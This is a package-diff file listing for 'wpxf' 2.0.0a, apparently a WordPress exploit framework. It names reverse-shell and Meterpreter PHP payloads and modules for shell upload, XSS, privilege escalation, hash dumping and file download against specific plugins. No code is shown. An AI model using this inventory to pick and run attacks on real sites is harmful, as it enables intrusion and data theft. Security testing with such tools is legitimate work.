wpxf 2.0.0a

Sign up to get free protection for your applications and to get access to all the features.
Files changed (455) hide show
  1. checksums.yaml +7 -0
  2. data/bin/wpxf +52 -0
  3. data/data/banners/default.txt +16 -0
  4. data/data/js/ajax_download.js +33 -0
  5. data/data/js/ajax_post.js +18 -0
  6. data/data/js/create_wp_user.js +24 -0
  7. data/data/js/post.js +20 -0
  8. data/data/json/browser_usage_by_frequency.json +64 -0
  9. data/data/json/commands.json +116 -0
  10. data/data/php/bind_php.php +43 -0
  11. data/data/php/download_exec.php +36 -0
  12. data/data/php/exec.php +3 -0
  13. data/data/php/exec_methods.php +47 -0
  14. data/data/php/meterpreter_bind_tcp.php +1 -0
  15. data/data/php/meterpreter_bind_tcp_ipv6.php +1 -0
  16. data/data/php/meterpreter_reverse_tcp.php +1 -0
  17. data/data/php/preamble.php +17 -0
  18. data/data/php/reverse_tcp.php +76 -0
  19. data/db/config.yml +17 -0
  20. data/db/env.rb +19 -0
  21. data/db/migrations/001_create_workspaces.rb +15 -0
  22. data/db/migrations/002_create_credentials.rb +20 -0
  23. data/db/migrations/003_add_credential_type.rb +13 -0
  24. data/db/migrations/004_add_unique_workspace_name_index.rb +19 -0
  25. data/db/migrations/005_add_logs.rb +16 -0
  26. data/db/migrations/006_create_modules.rb +18 -0
  27. data/db/migrations/007_create_loot_items.rb +21 -0
  28. data/lib/wpxf.rb +54 -0
  29. data/lib/wpxf/cli/auto_complete.rb +121 -0
  30. data/lib/wpxf/cli/banner.rb +47 -0
  31. data/lib/wpxf/cli/console.rb +146 -0
  32. data/lib/wpxf/cli/context.rb +35 -0
  33. data/lib/wpxf/cli/creds.rb +56 -0
  34. data/lib/wpxf/cli/help.rb +125 -0
  35. data/lib/wpxf/cli/loaded_module.rb +67 -0
  36. data/lib/wpxf/cli/loot.rb +81 -0
  37. data/lib/wpxf/cli/module_cache.rb +59 -0
  38. data/lib/wpxf/cli/module_info.rb +62 -0
  39. data/lib/wpxf/cli/modules.rb +94 -0
  40. data/lib/wpxf/cli/options.rb +105 -0
  41. data/lib/wpxf/cli/output.rb +110 -0
  42. data/lib/wpxf/cli/workspace.rb +80 -0
  43. data/lib/wpxf/core.rb +18 -0
  44. data/lib/wpxf/core/data_file.rb +27 -0
  45. data/lib/wpxf/core/event_emitter.rb +30 -0
  46. data/lib/wpxf/core/module.rb +140 -0
  47. data/lib/wpxf/core/module_authentication.rb +48 -0
  48. data/lib/wpxf/core/module_info.rb +74 -0
  49. data/lib/wpxf/core/options.rb +175 -0
  50. data/lib/wpxf/core/opts/boolean_option.rb +37 -0
  51. data/lib/wpxf/core/opts/enum_option.rb +15 -0
  52. data/lib/wpxf/core/opts/integer_option.rb +74 -0
  53. data/lib/wpxf/core/opts/option.rb +121 -0
  54. data/lib/wpxf/core/opts/path_option.rb +15 -0
  55. data/lib/wpxf/core/opts/port_option.rb +25 -0
  56. data/lib/wpxf/core/opts/string_option.rb +33 -0
  57. data/lib/wpxf/core/output_emitters.rb +67 -0
  58. data/lib/wpxf/core/payload.rb +135 -0
  59. data/lib/wpxf/db.rb +17 -0
  60. data/lib/wpxf/db/credentials.rb +37 -0
  61. data/lib/wpxf/db/loot.rb +19 -0
  62. data/lib/wpxf/helpers/export.rb +48 -0
  63. data/lib/wpxf/models/credential.rb +29 -0
  64. data/lib/wpxf/models/log.rb +22 -0
  65. data/lib/wpxf/models/loot_item.rb +37 -0
  66. data/lib/wpxf/models/module.rb +32 -0
  67. data/lib/wpxf/models/workspace.rb +28 -0
  68. data/lib/wpxf/modules.rb +62 -0
  69. data/lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb +129 -0
  70. data/lib/wpxf/modules/auxiliary/dos/long_password_dos.rb +141 -0
  71. data/lib/wpxf/modules/auxiliary/dos/post_grid_file_deletion.rb +67 -0
  72. data/lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb +83 -0
  73. data/lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb +54 -0
  74. data/lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb +68 -0
  75. data/lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb +41 -0
  76. data/lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb +41 -0
  77. data/lib/wpxf/modules/auxiliary/file_download/cp_image_store_arbitrary_file_download.rb +82 -0
  78. data/lib/wpxf/modules/auxiliary/file_download/direct_download_for_woocommerce_file_download.rb +60 -0
  79. data/lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb +169 -0
  80. data/lib/wpxf/modules/auxiliary/file_download/ghost_unrestricted_export_download.rb +85 -0
  81. data/lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb +50 -0
  82. data/lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb +42 -0
  83. data/lib/wpxf/modules/auxiliary/file_download/mail_masta_unauthenticated_local_file_inclusion.rb +48 -0
  84. data/lib/wpxf/modules/auxiliary/file_download/membership_simplified_arbitrary_file_download.rb +50 -0
  85. data/lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb +41 -0
  86. data/lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb +42 -0
  87. data/lib/wpxf/modules/auxiliary/file_download/simple_download_monitor_file_disclosure.rb +79 -0
  88. data/lib/wpxf/modules/auxiliary/file_download/simple_download_monitor_file_download.rb +69 -0
  89. data/lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb +43 -0
  90. data/lib/wpxf/modules/auxiliary/file_download/site_editor_file_download.rb +53 -0
  91. data/lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb +42 -0
  92. data/lib/wpxf/modules/auxiliary/file_download/wp_hide_security_enhancer_file_download.rb +51 -0
  93. data/lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb +141 -0
  94. data/lib/wpxf/modules/auxiliary/file_download/wp_vault_file_download.rb +46 -0
  95. data/lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb +43 -0
  96. data/lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb +59 -0
  97. data/lib/wpxf/modules/auxiliary/hash_dump/gallery_album_hash_dump.rb +61 -0
  98. data/lib/wpxf/modules/auxiliary/hash_dump/jtrt_responsive_tables_hash_dump.rb +69 -0
  99. data/lib/wpxf/modules/auxiliary/hash_dump/registrationmagic_hash_dump.rb +62 -0
  100. data/lib/wpxf/modules/auxiliary/hash_dump/simple_ads_manager_hash_dump.rb +67 -0
  101. data/lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb +69 -0
  102. data/lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb +59 -0
  103. data/lib/wpxf/modules/auxiliary/hash_dump/ultimate_csv_importer_user_extract.rb +133 -0
  104. data/lib/wpxf/modules/auxiliary/hash_dump/ultimate_product_catalogue_hash_dump.rb +60 -0
  105. data/lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb +106 -0
  106. data/lib/wpxf/modules/auxiliary/info/download_monitor_log_export.rb +111 -0
  107. data/lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb +103 -0
  108. data/lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb +86 -0
  109. data/lib/wpxf/modules/auxiliary/info/user_meta_manager_information_disclosure.rb +96 -0
  110. data/lib/wpxf/modules/auxiliary/info/woocommerce_email_test_order_disclosure.rb +53 -0
  111. data/lib/wpxf/modules/auxiliary/info/woocommerce_order_import_export_order_disclosure.rb +60 -0
  112. data/lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb +86 -0
  113. data/lib/wpxf/modules/auxiliary/misc/email_users_csrf_bulk_mail.rb +89 -0
  114. data/lib/wpxf/modules/auxiliary/misc/qards_local_port_scan.rb +66 -0
  115. data/lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb +124 -0
  116. data/lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb +107 -0
  117. data/lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb +125 -0
  118. data/lib/wpxf/modules/auxiliary/priv_esc/download_manager_authenticated_privilege_escalation.rb +71 -0
  119. data/lib/wpxf/modules/auxiliary/priv_esc/download_manager_privilege_escalation.rb +92 -0
  120. data/lib/wpxf/modules/auxiliary/priv_esc/easy_cart_privilege_escalation.rb +92 -0
  121. data/lib/wpxf/modules/auxiliary/priv_esc/platform_privilege_escalation.rb +93 -0
  122. data/lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb +154 -0
  123. data/lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb +76 -0
  124. data/lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb +57 -0
  125. data/lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb +92 -0
  126. data/lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb +117 -0
  127. data/lib/wpxf/modules/exploit/rfi/advanced_custom_fields_remote_file_inclusion.rb +98 -0
  128. data/lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb +91 -0
  129. data/lib/wpxf/modules/exploit/rfi/flickr_picture_backup_rfi_shell_upload.rb +94 -0
  130. data/lib/wpxf/modules/exploit/rfi/gwolle_guestbook_remote_file_inclusion.rb +96 -0
  131. data/lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb +90 -0
  132. data/lib/wpxf/modules/exploit/shell/accesspress_anonymous_post_pro_shell_upload.rb +71 -0
  133. data/lib/wpxf/modules/exploit/shell/acf_frontend_display_shell_upload.rb +41 -0
  134. data/lib/wpxf/modules/exploit/shell/adblock_blocker_shell_upload.rb +41 -0
  135. data/lib/wpxf/modules/exploit/shell/admin_shell_upload.rb +47 -0
  136. data/lib/wpxf/modules/exploit/shell/aries_revslider_shell_upload.rb +17 -0
  137. data/lib/wpxf/modules/exploit/shell/avada_revslider_shell_upload.rb +15 -0
  138. data/lib/wpxf/modules/exploit/shell/awake_revslider_shell_upload.rb +15 -0
  139. data/lib/wpxf/modules/exploit/shell/beach_apollo_revslider_shell_upload.rb +15 -0
  140. data/lib/wpxf/modules/exploit/shell/bretheon_revslider_shell_upload.rb +15 -0
  141. data/lib/wpxf/modules/exploit/shell/centum_revslider_shell_upload.rb +15 -0
  142. data/lib/wpxf/modules/exploit/shell/charity_theme_shell_upload.rb +38 -0
  143. data/lib/wpxf/modules/exploit/shell/construct_revslider_shell_upload.rb +15 -0
  144. data/lib/wpxf/modules/exploit/shell/creative_contact_form_shell_upload.rb +82 -0
  145. data/lib/wpxf/modules/exploit/shell/delete_all_comments_shell_upload.rb +65 -0
  146. data/lib/wpxf/modules/exploit/shell/designfolio_plus_shell_upload.rb +50 -0
  147. data/lib/wpxf/modules/exploit/shell/divi_revslider_shell_upload.rb +15 -0
  148. data/lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb +174 -0
  149. data/lib/wpxf/modules/exploit/shell/echelon_revslider_shell_upload.rb +15 -0
  150. data/lib/wpxf/modules/exploit/shell/elegance_revslider_shell_upload.rb +15 -0
  151. data/lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb +53 -0
  152. data/lib/wpxf/modules/exploit/shell/evo_theme_shell_upload.rb +37 -0
  153. data/lib/wpxf/modules/exploit/shell/front_end_file_upload_and_manager_shell_upload.rb +42 -0
  154. data/lib/wpxf/modules/exploit/shell/fusion_revslider_shell_upload.rb +15 -0
  155. data/lib/wpxf/modules/exploit/shell/gallery_pro_theme_shell_upload.rb +37 -0
  156. data/lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb +92 -0
  157. data/lib/wpxf/modules/exploit/shell/holding_pattern_shell_upload.rb +56 -0
  158. data/lib/wpxf/modules/exploit/shell/inboundio_marketing_shell_upload.rb +82 -0
  159. data/lib/wpxf/modules/exploit/shell/incredible_wp_revslider_shell_upload.rb +15 -0
  160. data/lib/wpxf/modules/exploit/shell/infusionsoft_shell_upload.rb +76 -0
  161. data/lib/wpxf/modules/exploit/shell/mailcwp_authenticated_shell_upload.rb +35 -0
  162. data/lib/wpxf/modules/exploit/shell/mailcwp_unauthenticated_shell_upload.rb +51 -0
  163. data/lib/wpxf/modules/exploit/shell/mailpoet_newsletters_shell_upload.rb +90 -0
  164. data/lib/wpxf/modules/exploit/shell/manbiz2_revslider_shell_upload.rb +15 -0
  165. data/lib/wpxf/modules/exploit/shell/medicate_revslider_shell_upload.rb +15 -0
  166. data/lib/wpxf/modules/exploit/shell/method_revslider_shell_upload.rb +15 -0
  167. data/lib/wpxf/modules/exploit/shell/micro_theme_shell_upload.rb +37 -0
  168. data/lib/wpxf/modules/exploit/shell/mobile_app_builder_shell_upload.rb +31 -0
  169. data/lib/wpxf/modules/exploit/shell/mobile_app_native_v3_shell_upload.rb +46 -0
  170. data/lib/wpxf/modules/exploit/shell/mobile_friendly_app_builder_shell_upload.rb +29 -0
  171. data/lib/wpxf/modules/exploit/shell/modular_revslider_shell_upload.rb +15 -0
  172. data/lib/wpxf/modules/exploit/shell/myriad_revslider_shell_upload.rb +15 -0
  173. data/lib/wpxf/modules/exploit/shell/n_media_website_contact_form_shell_upload.rb +82 -0
  174. data/lib/wpxf/modules/exploit/shell/n_media_website_contact_form_v1.9_shell_upload.rb +45 -0
  175. data/lib/wpxf/modules/exploit/shell/neosense_shell_upload.rb +41 -0
  176. data/lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb +83 -0
  177. data/lib/wpxf/modules/exploit/shell/participants_database_v1.5.4.8_shell_upload.rb +153 -0
  178. data/lib/wpxf/modules/exploit/shell/persuasion_revslider_shell_upload.rb +15 -0
  179. data/lib/wpxf/modules/exploit/shell/photo_album_plus_xss_shell_upload.rb +89 -0
  180. data/lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb +128 -0
  181. data/lib/wpxf/modules/exploit/shell/premium_seo_pack_shell_upload.rb +35 -0
  182. data/lib/wpxf/modules/exploit/shell/reflex_gallery_shell_upload.rb +91 -0
  183. data/lib/wpxf/modules/exploit/shell/revslider_shell_upload.rb +93 -0
  184. data/lib/wpxf/modules/exploit/shell/seabird_revslider_shell_upload.rb +15 -0
  185. data/lib/wpxf/modules/exploit/shell/showbiz_revslider_shell_upload.rb +15 -0
  186. data/lib/wpxf/modules/exploit/shell/simplecart_shell_upload.rb +91 -0
  187. data/lib/wpxf/modules/exploit/shell/soulmedic_revslider_shell_upload.rb +15 -0
  188. data/lib/wpxf/modules/exploit/shell/striking_r_revslider_shell_upload.rb +15 -0
  189. data/lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb +110 -0
  190. data/lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb +85 -0
  191. data/lib/wpxf/modules/exploit/shell/tevolution_shell_upload.rb +50 -0
  192. data/lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb +132 -0
  193. data/lib/wpxf/modules/exploit/shell/ultimate_product_catalogue_shell_upload.rb +47 -0
  194. data/lib/wpxf/modules/exploit/shell/ultimatum_revslider_shell_upload.rb +15 -0
  195. data/lib/wpxf/modules/exploit/shell/userpro_shell_upload.rb +70 -0
  196. data/lib/wpxf/modules/exploit/shell/webapp_builder_shell_upload.rb +29 -0
  197. data/lib/wpxf/modules/exploit/shell/windows_desktop_and_iphone_photo_uploader_shell_upload.rb +45 -0
  198. data/lib/wpxf/modules/exploit/shell/woocommerce_amazon_affiliates_v8_shell_upload.rb +81 -0
  199. data/lib/wpxf/modules/exploit/shell/woocommerce_product_addons_shell_upload.rb +42 -0
  200. data/lib/wpxf/modules/exploit/shell/work_the_flow_shell_upload.rb +57 -0
  201. data/lib/wpxf/modules/exploit/shell/wp2android_shell_upload.rb +29 -0
  202. data/lib/wpxf/modules/exploit/shell/wp_front_end_repository_manager_shell_upload.rb +42 -0
  203. data/lib/wpxf/modules/exploit/shell/wp_marketplace_shell_upload.rb +40 -0
  204. data/lib/wpxf/modules/exploit/shell/wp_support_plus_responsive_ticket_system_shell_upload.rb +46 -0
  205. data/lib/wpxf/modules/exploit/shell/wpshop_shell_upload.rb +45 -0
  206. data/lib/wpxf/modules/exploit/shell/wptouch_authenticated_shell_upload.rb +66 -0
  207. data/lib/wpxf/modules/exploit/shell/wsecure_lite_shell_upload.rb +57 -0
  208. data/lib/wpxf/modules/exploit/xss/reflected/2kb_amazon_affiliates_store_reflected_xss_shell_upload.rb +34 -0
  209. data/lib/wpxf/modules/exploit/xss/reflected/admin_custom_login_reflected_xss_shell_upload.rb +42 -0
  210. data/lib/wpxf/modules/exploit/xss/reflected/adsense_plugin_reflected_xss_shell_upload.rb +21 -0
  211. data/lib/wpxf/modules/exploit/xss/reflected/affiliate_ads_builder_xss_shell_upload.rb +53 -0
  212. data/lib/wpxf/modules/exploit/xss/reflected/affiliatewp_reflected_xss_shell_upload.rb +39 -0
  213. data/lib/wpxf/modules/exploit/xss/reflected/ajax_random_post_reflected_xss_shell_upload.rb +34 -0
  214. data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_migration_reflected_xss_shell_upload.rb +33 -0
  215. data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_schema_rich_snippets_reflected_xss_shell_upload.rb +39 -0
  216. data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_wp_security_reflected_xss_shell_upload.rb +37 -0
  217. data/lib/wpxf/modules/exploit/xss/reflected/alpine_photo_tile_for_instagram_reflected_xss_shell_upload.rb +40 -0
  218. data/lib/wpxf/modules/exploit/xss/reflected/answer_my_question_reflected_xss_shell_upload.rb +41 -0
  219. data/lib/wpxf/modules/exploit/xss/reflected/anti_plagiarism_reflected_xss_shell_upload.rb +34 -0
  220. data/lib/wpxf/modules/exploit/xss/reflected/anyvar_reflected_xss_shell_upload.rb +40 -0
  221. data/lib/wpxf/modules/exploit/xss/reflected/atahualpa_reflected_xss_shell_upload.rb +66 -0
  222. data/lib/wpxf/modules/exploit/xss/reflected/backup_guard_reflected_xss_shell_upload.rb +34 -0
  223. data/lib/wpxf/modules/exploit/xss/reflected/brafton_content_importer_reflected_xss_shell_upload.rb +35 -0
  224. data/lib/wpxf/modules/exploit/xss/reflected/bws_featured_posts_reflected_xss_shell_upload.rb +20 -0
  225. data/lib/wpxf/modules/exploit/xss/reflected/bws_google_analytics_reflected_xss_shell_upload.rb +20 -0
  226. data/lib/wpxf/modules/exploit/xss/reflected/bws_google_maps_reflected_xss_shell_upload.rb +20 -0
  227. data/lib/wpxf/modules/exploit/xss/reflected/bws_latest_posts_reflected_xss_shell_upload.rb +20 -0
  228. data/lib/wpxf/modules/exploit/xss/reflected/bws_linkedin_reflected_xss_shell_upload.rb +20 -0
  229. data/lib/wpxf/modules/exploit/xss/reflected/bws_panel_reflected_xss_shell_upload.rb +45 -0
  230. data/lib/wpxf/modules/exploit/xss/reflected/bws_pinterest_reflected_xss_shell_upload.rb +20 -0
  231. data/lib/wpxf/modules/exploit/xss/reflected/bws_popular_posts_reflected_xss_shell_upload.rb +20 -0
  232. data/lib/wpxf/modules/exploit/xss/reflected/bws_portfolio_reflected_xss_shell_upload.rb +20 -0
  233. data/lib/wpxf/modules/exploit/xss/reflected/bws_smtp_reflected_xss_shell_upload.rb +20 -0
  234. data/lib/wpxf/modules/exploit/xss/reflected/bws_testimonials_reflected_xss_shell_upload.rb +20 -0
  235. data/lib/wpxf/modules/exploit/xss/reflected/caldera_forms_v1.5.4_xss_shell_upload.rb +33 -0
  236. data/lib/wpxf/modules/exploit/xss/reflected/captcha_reflected_xss_shell_upload.rb +20 -0
  237. data/lib/wpxf/modules/exploit/xss/reflected/car_rental_reflected_xss_shell_upload.rb +20 -0
  238. data/lib/wpxf/modules/exploit/xss/reflected/check_email_reflected_xss_shell_upload.rb +44 -0
  239. data/lib/wpxf/modules/exploit/xss/reflected/claptastic_clap_button_reflected_xss_shell_upload.rb +46 -0
  240. data/lib/wpxf/modules/exploit/xss/reflected/code_snippets_reflected_xss_shell_upload.rb +34 -0
  241. data/lib/wpxf/modules/exploit/xss/reflected/colorway_reflected_xss_shell_upload.rb +47 -0
  242. data/lib/wpxf/modules/exploit/xss/reflected/concours_xss_shell_upload.rb +34 -0
  243. data/lib/wpxf/modules/exploit/xss/reflected/connections_reflected_xss_shell_upload.rb +35 -0
  244. data/lib/wpxf/modules/exploit/xss/reflected/contact_form_multi_reflected_xss_shell_upload.rb +20 -0
  245. data/lib/wpxf/modules/exploit/xss/reflected/contact_form_plugin_reflected_xss_shell_upload.rb +20 -0
  246. data/lib/wpxf/modules/exploit/xss/reflected/contact_form_to_db_reflected_xss_shell_upload.rb +20 -0
  247. data/lib/wpxf/modules/exploit/xss/reflected/content_grabber_reflected_xss_shell_upload.rb +43 -0
  248. data/lib/wpxf/modules/exploit/xss/reflected/content_slide_reflected_xss_shell_upload.rb +38 -0
  249. data/lib/wpxf/modules/exploit/xss/reflected/count_per_day_reflected_xss_shell_upload.rb +40 -0
  250. data/lib/wpxf/modules/exploit/xss/reflected/csv_import_export_xss_shell_upload.rb +35 -0
  251. data/lib/wpxf/modules/exploit/xss/reflected/csv_import_reflected_xss_shell_upload.rb +37 -0
  252. data/lib/wpxf/modules/exploit/xss/reflected/custom_admin_page_reflected_xss_shell_upload.rb +20 -0
  253. data/lib/wpxf/modules/exploit/xss/reflected/custom_fields_search_reflected_xss_shell_upload.rb +20 -0
  254. data/lib/wpxf/modules/exploit/xss/reflected/custom_map_xss_shell_upload.rb +35 -0
  255. data/lib/wpxf/modules/exploit/xss/reflected/custom_metas_reflected_xss_shell_upload.rb +35 -0
  256. data/lib/wpxf/modules/exploit/xss/reflected/custom_permalinks_xss_shell_upload.rb +33 -0
  257. data/lib/wpxf/modules/exploit/xss/reflected/custom_search_plugin_reflected_xss_shell_upload.rb +20 -0
  258. data/lib/wpxf/modules/exploit/xss/reflected/defa_online_image_protector_reflected_xss_shell_upload.rb +34 -0
  259. data/lib/wpxf/modules/exploit/xss/reflected/donate_button_reflected_xss_shell_upload.rb +20 -0
  260. data/lib/wpxf/modules/exploit/xss/reflected/download_manager_reflected_xss_shell_upload.rb +39 -0
  261. data/lib/wpxf/modules/exploit/xss/reflected/duplicator_csrf_xss_shell_upload.rb +37 -0
  262. data/lib/wpxf/modules/exploit/xss/reflected/easy_contact_form_builder_reflected_xss_shell_upload.rb +34 -0
  263. data/lib/wpxf/modules/exploit/xss/reflected/emag_marketplace_connector_xss_shell_upload.rb +38 -0
  264. data/lib/wpxf/modules/exploit/xss/reflected/email_queue_reflected_xss_shell_upload.rb +20 -0
  265. data/lib/wpxf/modules/exploit/xss/reflected/email_users_reflected_xss_shell_upload.rb +40 -0
  266. data/lib/wpxf/modules/exploit/xss/reflected/enhanced_tooltip_glossary_reflected_xss_shell_upload.rb +34 -0
  267. data/lib/wpxf/modules/exploit/xss/reflected/error_log_viewer_reflected_xss_shell_upload.rb +20 -0
  268. data/lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb +111 -0
  269. data/lib/wpxf/modules/exploit/xss/reflected/facebook_button_plugin_reflected_xss_shell_upload.rb +20 -0
  270. data/lib/wpxf/modules/exploit/xss/reflected/faq_wd_reflected_xss_shell_upload.rb +41 -0
  271. data/lib/wpxf/modules/exploit/xss/reflected/formbuilder_reflected_xss_shell_upload.rb +34 -0
  272. data/lib/wpxf/modules/exploit/xss/reflected/gallery_categories_reflected_xss_shell_upload.rb +20 -0
  273. data/lib/wpxf/modules/exploit/xss/reflected/gallery_plugin_reflected_xss_shell_upload.rb +20 -0
  274. data/lib/wpxf/modules/exploit/xss/reflected/gd_rating_system_xss_shell_upload.rb +34 -0
  275. data/lib/wpxf/modules/exploit/xss/reflected/google_analytics_dashboard_reflected_xss_shell_upload.rb +41 -0
  276. data/lib/wpxf/modules/exploit/xss/reflected/google_captcha_reflected_xss_shell_upload.rb +20 -0
  277. data/lib/wpxf/modules/exploit/xss/reflected/google_maps_reflected_xss_shell_upload.rb +34 -0
  278. data/lib/wpxf/modules/exploit/xss/reflected/google_one_reflected_xss_shell_upload.rb +20 -0
  279. data/lib/wpxf/modules/exploit/xss/reflected/google_shortlink_reflected_xss_shell_upload.rb +20 -0
  280. data/lib/wpxf/modules/exploit/xss/reflected/google_sitemap_plugin_reflected_xss_shell_upload.rb +20 -0
  281. data/lib/wpxf/modules/exploit/xss/reflected/gravity_forms_v1.9.15.11_reflected_xss_shell_upload.rb +35 -0
  282. data/lib/wpxf/modules/exploit/xss/reflected/hdw_tube_reflected_xss_shell_upload.rb +34 -0
  283. data/lib/wpxf/modules/exploit/xss/reflected/hero_maps_pro_reflected_xss_shell_upload.rb +34 -0
  284. data/lib/wpxf/modules/exploit/xss/reflected/htaccess_reflected_xss_shell_upload.rb +20 -0
  285. data/lib/wpxf/modules/exploit/xss/reflected/huge_it_image_gallery_reflected_xss_shell_upload.rb +41 -0
  286. data/lib/wpxf/modules/exploit/xss/reflected/import_woocommerce_reflected_xss_shell_upload.rb +37 -0
  287. data/lib/wpxf/modules/exploit/xss/reflected/impress_listings_reflected_xss_shell_upload.rb +87 -0
  288. data/lib/wpxf/modules/exploit/xss/reflected/indexisto_reflected_xss_shell_upload.rb +34 -0
  289. data/lib/wpxf/modules/exploit/xss/reflected/infusionsoft_reflected_xss_shell_upload.rb +34 -0
  290. data/lib/wpxf/modules/exploit/xss/reflected/instagram_feed_csrf_xss_shell_upload.rb +34 -0
  291. data/lib/wpxf/modules/exploit/xss/reflected/instalinker_reflected_xss_shell_upload.rb +40 -0
  292. data/lib/wpxf/modules/exploit/xss/reflected/job_board_reflected_xss_shell_upload.rb +20 -0
  293. data/lib/wpxf/modules/exploit/xss/reflected/job_manager_reflected_xss_shell_upload.rb +55 -0
  294. data/lib/wpxf/modules/exploit/xss/reflected/leenkme_reflected_xss_shell_upload.rb +41 -0
  295. data/lib/wpxf/modules/exploit/xss/reflected/lightbox_reflected_xss_shell_upload.rb +64 -0
  296. data/lib/wpxf/modules/exploit/xss/reflected/limit_attempts_reflected_xss_shell_upload.rb +20 -0
  297. data/lib/wpxf/modules/exploit/xss/reflected/link_library_reflected_xss_shell_upload.rb +33 -0
  298. data/lib/wpxf/modules/exploit/xss/reflected/magic_fields_reflected_xss_shell_upload.rb +36 -0
  299. data/lib/wpxf/modules/exploit/xss/reflected/mailchimp_for_wp_reflected_xss_shell_upload.rb +33 -0
  300. data/lib/wpxf/modules/exploit/xss/reflected/mailpoet_newsletters_reflected_xss_shell_upload.rb +49 -0
  301. data/lib/wpxf/modules/exploit/xss/reflected/mailpoet_newsletters_v272_reflected_xss_shell_upload.rb +36 -0
  302. data/lib/wpxf/modules/exploit/xss/reflected/master_slider_reflected_xss_shell_upload.rb +41 -0
  303. data/lib/wpxf/modules/exploit/xss/reflected/maxbuttons_reflected_xss_shell_upload.rb +38 -0
  304. data/lib/wpxf/modules/exploit/xss/reflected/minimax_page_layout_builder_reflected_xss_shell_upload.rb +34 -0
  305. data/lib/wpxf/modules/exploit/xss/reflected/msmc_redirect_after_comment_reflected_xss_shell_upload.rb +38 -0
  306. data/lib/wpxf/modules/exploit/xss/reflected/multilanguage_reflected_xss_shell_upload.rb +20 -0
  307. data/lib/wpxf/modules/exploit/xss/reflected/new_year_firework_reflected_xss_shell_upload.rb +34 -0
  308. data/lib/wpxf/modules/exploit/xss/reflected/ninja_forms_reflected_xss_shell_upload.rb +37 -0
  309. data/lib/wpxf/modules/exploit/xss/reflected/no_external_links_reflected_xss_shell_upload.rb +39 -0
  310. data/lib/wpxf/modules/exploit/xss/reflected/ocim_mp3_reflected_xss_shell_upload.rb +38 -0
  311. data/lib/wpxf/modules/exploit/xss/reflected/pagination_reflected_xss_shell_upload.rb +20 -0
  312. data/lib/wpxf/modules/exploit/xss/reflected/pdf_print_reflected_xss_shell_upload.rb +20 -0
  313. data/lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb +53 -0
  314. data/lib/wpxf/modules/exploit/xss/reflected/photo_gallery_xss_shell_upload.rb +46 -0
  315. data/lib/wpxf/modules/exploit/xss/reflected/pinterest_feed_xss_shell_upload.rb +37 -0
  316. data/lib/wpxf/modules/exploit/xss/reflected/podlove_podcast_publisher_reflected_xss_shell_upload.rb +36 -0
  317. data/lib/wpxf/modules/exploit/xss/reflected/pondol_form_to_mail_reflected_xss_shell_upload.rb +34 -0
  318. data/lib/wpxf/modules/exploit/xss/reflected/pootle_button_reflected_xss_shell_upload.rb +32 -0
  319. data/lib/wpxf/modules/exploit/xss/reflected/popcash_integration_xss_shell_upload.rb +34 -0
  320. data/lib/wpxf/modules/exploit/xss/reflected/popup_maker_reflected_xss_shell_upload.rb +39 -0
  321. data/lib/wpxf/modules/exploit/xss/reflected/portfolio_reflected_xss_shell_upload.rb +36 -0
  322. data/lib/wpxf/modules/exploit/xss/reflected/post_to_csv_reflected_xss_shell_upload.rb +20 -0
  323. data/lib/wpxf/modules/exploit/xss/reflected/profile_builder_reflected_xss_shell_upload.rb +40 -0
  324. data/lib/wpxf/modules/exploit/xss/reflected/profile_extra_fields_reflected_xss_shell_upload.rb +20 -0
  325. data/lib/wpxf/modules/exploit/xss/reflected/promobar_reflected_xss_shell_upload.rb +20 -0
  326. data/lib/wpxf/modules/exploit/xss/reflected/propertyhive_csrf_xss_shell_upload.rb +37 -0
